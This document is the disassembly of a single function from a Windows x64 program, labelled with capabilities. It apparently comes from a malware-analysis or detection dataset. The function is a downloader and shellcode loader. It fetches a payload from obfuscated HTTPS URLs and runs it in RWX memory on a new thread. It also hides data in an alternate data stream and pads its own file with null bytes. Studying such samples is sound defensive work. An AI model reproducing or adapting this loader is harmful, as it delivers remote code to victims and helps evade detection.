Function at 0x1400030c0
Capabilities:
Allocate or change rwx memory
Create thread
Read file on windows
Spawn thread to rwx shellcode
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x4a0]
sub rsp, 0x5a0
mov rax, qword [0x14004a020]
xor rax, rsp
mov qword [rbp + 0x490], rax
xor r14d, r14d
mov qword [rbp - 0x18], r14
mov qword [rbp - 8], r14
mov qword [rbp], 7
mov word [rbp - 0x18], r14w
lea r8d, [r14 + 0x2a]
lea rdx, str.iuuqr_..cs_hmrqnsur_nsf.ud_lr.G_mbnor_dyd
lea rcx, [rbp - 0x18]
call fcn.140006fa0
nop
mov qword [rbp + 8], r14
mov qword [rbp + 0x18], r14
mov qword [rbp + 0x20], 7
mov word [rbp + 8], r14w
lea r8d, [r14 + 0x28]
lea rdx, str.iuuqr_..rqnsubs_ud_nsf.ud_lr.G_mbnor_dyd
lea rcx, [rbp + 8]
call fcn.140006fa0
nop
lea rdx, [rbp - 0x18]
lea rcx, [rsp + 0x60]
call fcn.140002aa0
nop
lea rdx, [rbp - 0x18]
lea rcx, [rsp + 0x40]
call fcn.140002aa0
nop
mov dword [rbp - 0x20], r14d
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x60]
cmp qword [rsp + 0x78], 8
cmovae rcx, qword [rsp + 0x60]
lea r8, [rbp - 0x20]
call fcn.1400028b0
mov rsi, rax
test rax, rax
jne 0x1400031b2
lea rcx, str.Failed_to_download_file._n
call fcn.140001270
jmp 0x140003770
mov ebx, dword [rbp - 0x20]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, ebx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x140003203
lea rdx, str.VirtualAlloc_failed_with_error:
lea rcx, [0x14004b870]
call fcn.140009670
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call fcn.140004820
mov rcx, rax
call fcn.140009900
jmp 0x140003276
mov r8, rbx
mov rdx, rsi
mov rcx, rdi
call fcn.1400110a0
lea rax, [rbp - 0x20]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r14d
xor r9d, r9d
mov r8, rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
test rax, rax
jne 0x1400032a4
lea rdx, str.CreateThread_failed_with_error:
lea rcx, [0x14004b870]
call fcn.140009670
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call fcn.140004820
mov rcx, rax
call fcn.140009900
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
lea rcx, str.Failed_to_execute_binary._n
call fcn.140001270
mov rcx, rsi
call fcn.1400187b0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
call fcn.140003bb0
mov rcx, rax
call fcn.140009990
jmp 0x140003770
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov r8d, 0x104
lea rdx, [rbp + 0x280]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x140003318
lea rdx, str.Failed_to_retrieve_the_module_file_name._Error:
lea rcx, [0x14004ba10]
call fcn.140009670
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call fcn.140004820
mov rcx, rax
call fcn.140009900
jmp 0x140003770
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x68], 7
mov word [rbp - 0x80], r14w
lea rax, [rbp + 0x280]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140003340
lea rdx, [rbp + 0x280]
lea rcx, [rbp - 0x80]
call fcn.140006fa0
nop
lea rdx, str.Name:
lea rcx, [0x14004b870]
call fcn.140009670
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 8
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rax
call fcn.14000b2f0
mov rcx, rax
call fcn.140009900
mov qword [rbp + 0x28], r14
mov qword [rbp + 0x38], r14
mov qword [rbp + 0x40], 7
mov word [rbp + 0x28], r14w
mov r8d, 9
lea rdx, str.:mystream
lea rcx, [rbp + 0x28]
call fcn.140006fa0
nop
lea r8, [rbp + 0x28]
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x60]
call fcn.140009a20
nop
lea rcx, [rbp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
lea rdx, [rbp + 0x58]
lea rcx, [rbp - 0x40]
call fcn.140002be0
nop
lea rcx, [rbp - 0x60]
cmp qword [rbp - 0x48], 8
cmovae rcx, qword [rbp - 0x60]
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140003458
lea rdx, str.Failed_to_open_or_create_the_alternate_data_stream._Error:
lea rcx, [0x14004ba10]
call fcn.140009670
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call fcn.140004820
mov rcx, rax
call fcn.140009900
jmp 0x14000363c
mov eax, dword [rbp - 0x30]
lea r8d, [rax + rax]
lea rdx, [rbp - 0x40]
cmp qword [rbp - 0x28], 8
cmovae rdx, qword [rbp - 0x40]
mov qword [rsp + 0x20], r14
lea r9, [rbp + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x14000348f
lea rdx, str.Failed_to_write_to_the_alternate_data_stream._Error:
jmp 0x14000360b
lea rdx, str.Successfully_wrote_to_the_alternate_data_stream_
lea rcx, [0x14004b870]
call fcn.140009670
mov rcx, rax
call fcn.140009900
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp - 0x60]
cmp qword [rbp - 0x48], 8
cmovae rcx, qword [rbp - 0x60]
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x1400034fd
lea rdx, str.Failed_to_open_the_alternate_data_stream_for_reading._Error:
jmp 0x14000342c
mov qword [rsp + 0x20], r14
lea r9, [rbp + 0x48]
mov r8d, 0x1fe
lea rdx, [rbp + 0x80]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x14000352c
lea rdx, str.Failed_to_read_from_the_alternate_data_stream._Error:
jmp 0x14000360b
mov eax, dword [rbp + 0x48]
and rax, 0xfffffffffffffffe
cmp rax, 0x200
jae 0x140003b76
mov word [rbp + rax + 0x80], r14w
lea rdx, str.Data_read_from_the_alternate_data_stream:
lea rcx, [0x14004b870]
call fcn.140009670
mov rcx, rax
lea rdx, [rbp + 0x80]
call fcn.140009670
mov rcx, rax
call fcn.140009900
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp - 0x80]
cmp qword [rbp - 0x68], 8
cmovae rcx, qword [rbp - 0x80]
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
lea edx, [r9 + 4]
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x1400035c4
lea rdx, str.Failed_to_open_the_file._Error:
jmp 0x14000342c
mov r9d, 2
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
xor eax, eax
mov qword [rbp + 0x68], rax
mov word [rbp + 0x70], ax
mov qword [rsp + 0x20], r14
lea r9, [rbp + 0x4c]
lea r8d, [rax + 0xa]
lea rdx, [rbp + 0x68]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1400038ce
lea rdx, str.Failed_to_write_null_bytes_to_the_file._Error:
lea rcx, [0x14004ba10]
call fcn.140009670
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call fcn.140004820
mov rcx, rax
call fcn.140009900
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 8
jb 0x14000367c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140003677
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b7c
call fcn.14000f270
mov word [rbp - 0x40], r14w
mov qword [rbp - 0x28], 7
mov qword [rbp - 0x30], r14
mov rdx, qword [rbp - 0x48]
cmp rdx, 8
jb 0x1400036cd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
cmp rdx, 0x1000
mov rax, rcx
jb 0x1400036c8
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b82
call fcn.14000f270
mov word [rbp - 0x60], r14w
mov qword [rbp - 0x48], 7
mov qword [rbp - 0x50], r14
mov rdx, qword [rbp + 0x40]
cmp rdx, 8
jb 0x14000371f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x28]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140003719
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b88
call fcn.14000f270
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 8
jb 0x14000375f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14000375a
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b8e
call fcn.14000f270
mov word [rbp - 0x80], r14w
mov qword [rbp - 0x68], 7
mov qword [rbp - 0x70], r14
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x1400037b2
mov rcx, qword [rsp + 0x40]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400037ad
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b94
call fcn.14000f270
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], 7
mov word [rsp + 0x40], r14w
mov rdx, qword [rsp + 0x78]
cmp rdx, 8
jb 0x140003808
mov rcx, qword [rsp + 0x60]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003803
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b9a
call fcn.14000f270
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], 7
mov word [rsp + 0x60], r14w
mov rdx, qword [rbp + 0x20]
cmp rdx, 8
jb 0x14000385d
mov rcx, qword [rbp + 8]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003857
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003ba0
call fcn.14000f270
nop
mov rdx, qword [rbp]
cmp rdx, 8
jb 0x14000389d
mov rcx, qword [rbp - 0x18]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003898
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b70
call fcn.14000f270
mov eax, 1
mov rcx, qword [rbp + 0x490]
xor rcx, rsp
call fcn.14000f250
lea r11, [rsp + 0x5a0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
lea rdx, str.Successfully_appended
lea rcx, [0x14004b870]
call fcn.140009670
mov edx, dword [rbp + 0x4c]
mov rcx, rax
call fcn.140004820
mov rcx, rax
lea rdx, str._null_bytes_to_the_file.
call fcn.140009670
mov rcx, rax
call fcn.140009900
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 8
jb 0x14000394d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003948
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b7c
call fcn.14000f270
mov qword [rbp - 0x30], r14
mov qword [rbp - 0x28], 7
mov word [rbp - 0x40], r14w
mov rdx, qword [rbp - 0x48]
cmp rdx, 8
jb 0x14000399e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003999
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b82
call fcn.14000f270
mov qword [rbp - 0x50], r14
mov qword [rbp - 0x48], 7
mov word [rbp - 0x60], r14w
mov rdx, qword [rbp + 0x40]
cmp rdx, 8
jb 0x1400039f0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400039ea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b88
call fcn.14000f270
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 8
jb 0x140003a30
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003a2b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b8e
call fcn.14000f270
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x68], 7
mov word [rbp - 0x80], r14w
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x140003a83
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003a7e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b94
call fcn.14000f270
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], 7
mov word [rsp + 0x40], r14w
mov rdx, qword [rsp + 0x78]
cmp rdx, 8
jb 0x140003ad9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003ad4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b9a
call fcn.14000f270
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], 7
mov word [rsp + 0x60], r14w
mov rdx, qword [rbp + 0x20]
cmp rdx, 8
jb 0x140003b2a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003b24
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003ba0
call fcn.14000f270
nop
mov rdx, qword [rbp]
cmp rdx, 8
jb 0x140003b66
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003b61
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b70
call fcn.14000f270
mov eax, 0x539
jmp 0x1400038a2
call fcn.140018c60
nop
call fcn.14000f380
nop
call fcn.140018c60
nop
call fcn.140018c60
nop
call fcn.140018c60
nop
call fcn.140018c60
nop
call fcn.140018c60
nop
call fcn.140018c60
nop
call fcn.140018c60
int3